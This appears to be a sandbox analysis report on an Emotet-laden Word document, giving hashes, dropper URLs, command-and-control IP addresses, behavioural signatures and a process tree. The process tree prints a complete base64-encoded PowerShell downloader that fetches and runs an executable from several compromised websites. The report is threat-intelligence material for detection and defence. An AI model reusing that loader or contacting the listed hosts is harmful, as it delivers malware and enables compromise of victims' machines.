Analysis

  • max time kernel
    63s
  • max time network
    93s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    01-08-2020 19:37

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.13450.2446.23404.doc

  • Size

    171KB

  • MD5

    b2e7b971ae3f955ab45906eb9f28b542

  • SHA1

    3442995dc6b53d2b428efb26909759fe1265980a

  • SHA256

    9456039c364736bdf22944149b090434a866653ea7d35b78376b4b84c9150cc2

  • SHA512

    0ef7456e37faba2c28e6df213b598c9e75abd302d84787f52d74a2fee8311f68b7b6df0ef2bd6d9ba9402c9c333f54a573fded9b5ad61789f4fbf0d04a830303

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://muliarental.com/wp-includes/uwr_u4_ed3qzbb/

exe.dropper

http://ltrybus.com/cgi-bin/mff_xao9d_5ld5qajfmx/

exe.dropper

http://my6thgen.org/_db_backups/t_e_v7qizcr2/

exe.dropper

http://mywebnerd.com/bluesforsale/zi6_v4g0_rmyg/

exe.dropper

http://www.naayers.org/Library/o_eo_97ml/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.13450.2446.23404.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:848
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABJAFEAWQBKAFUAcABwAG0APQAnAFcASwBPAFkATwB6AHcAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAFUAYABSAGkAYABUAFkAUABSAG8AVABgAG8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABGAFkATwBGAEUAbgBkAHoAIAA9ACAAJwA2ADUAOQAnADsAJABJAFcAUgBHAEgAawB0AHMAPQAnAFQARgBZAEMAUwBnAGIAawAnADsAJABWAFgASwBJAFgAZABoAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAWQBPAEYARQBuAGQAegArACcALgBlAHgAZQAnADsAJABMAEQAVQBUAEwAcgBrAHMAPQAnAEcASgBQAEkASwB3AHoAcQAnADsAJABRAEcAUQBaAEEAdABxAG8APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AVwBFAGIAQwBMAGkAZQBuAHQAOwAkAFIAVQBVAE4ASgB5AHoAcQA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHUAdwByAF8AdQA0AF8AZQBkADMAcQB6AGIAYgAvACoAaAB0AHQAcAA6AC8ALwBsAHQAcgB5AGIAdQBzAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbQBmAGYAXwB4AGEAbwA5AGQAXwA1AGwAZAA1AHEAYQBqAGYAbQB4AC8AKgBoAHQAdABwADoALwAvAG0AeQA2AHQAaABnAGUAbgAuAG8AcgBnAC8AXwBkAGIAXwBiAGEAYwBrAHUAcABzAC8AdABfAGUAXwB2ADcAcQBpAHoAYwByADIALwAqAGgAdAB0AHAAOgAvAC8AbQB5AHcAZQBiAG4AZQByAGQALgBjAG8AbQAvAGIAbAB1AGUAcwBmAG8AcgBzAGEAbABlAC8AegBpADYAXwB2ADQAZwAwAF8AcgBtAHkAZwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG4AYQBhAHkAZQByAHMALgBvAHIAZwAvAEwAaQBiAHIAYQByAHkALwBvAF8AZQBvAF8AOQA3AG0AbAAvACcALgAiAFMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgBLAFIAWgBBAHgAcQBzAD0AJwBZAEgAVgBTAE4AbwB3AGkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkASgBMAEcAUwByAGsAYgAgAGkAbgAgACQAUgBVAFUATgBKAHkAegBxACkAewB0AHIAeQB7ACQAUQBHAFEAWgBBAHQAcQBvAC4AIgBkAE8AdwBuAGAATABgAG8AYQBkAGAARgBpAEwARQAiACgAJABZAEoATABHAFMAcgBrAGIALAAgACQAVgBYAEsASQBYAGQAaABjACkAOwAkAEoAUABMAEEAVgBvAGoAbQA9ACcASQBLAFUAQwBDAGMAcwBrACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVgBYAEsASQBYAGQAaABjACkALgAiAEwARQBuAEcAYABUAEgAIgAgAC0AZwBlACAAMgAwADYAMAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAdABlACIAKAAkAFYAWABLAEkAWABkAGgAYwApADsAJABNAEMAWABDAFQAawBtAGwAPQAnAE8AVgBCAE0AQwBpAHEAYQAnADsAYgByAGUAYQBrADsAJABRAE8AQwBRAE4AbgBpAGgAPQAnAFYARQBUAEEARABuAG8AdwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAE0AUwBQAEkAZABlAHkAPQAnAEgAWQBTAFQATQBiAHAAdAAnAA==
    1⤵
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:1652
  • C:\Users\Admin\659.exe
    C:\Users\Admin\659.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1856
    • C:\Windows\SysWOW64\StorageContextHandler\drttransport.exe
      "C:\Windows\SysWOW64\StorageContextHandler\drttransport.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:1580

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\659.exe
  • C:\Users\Admin\659.exe
  • C:\Windows\SysWOW64\StorageContextHandler\drttransport.exe
  • memory/848-2-0x0000000008A90000-0x0000000008A94000-memory.dmp
    Filesize

    16KB

  • memory/848-4-0x0000000007050000-0x0000000007250000-memory.dmp
    Filesize

    2.0MB

  • memory/848-6-0x000000000B000000-0x000000000B004000-memory.dmp
    Filesize

    16KB

  • memory/848-7-0x000000000C080000-0x000000000C084000-memory.dmp
    Filesize

    16KB

  • memory/1580-12-0x0000000000000000-mapping.dmp
  • memory/1580-14-0x0000000000270000-0x000000000027C000-memory.dmp
    Filesize

    48KB

  • memory/1856-11-0x00000000002F0000-0x00000000002FC000-memory.dmp
    Filesize

    48KB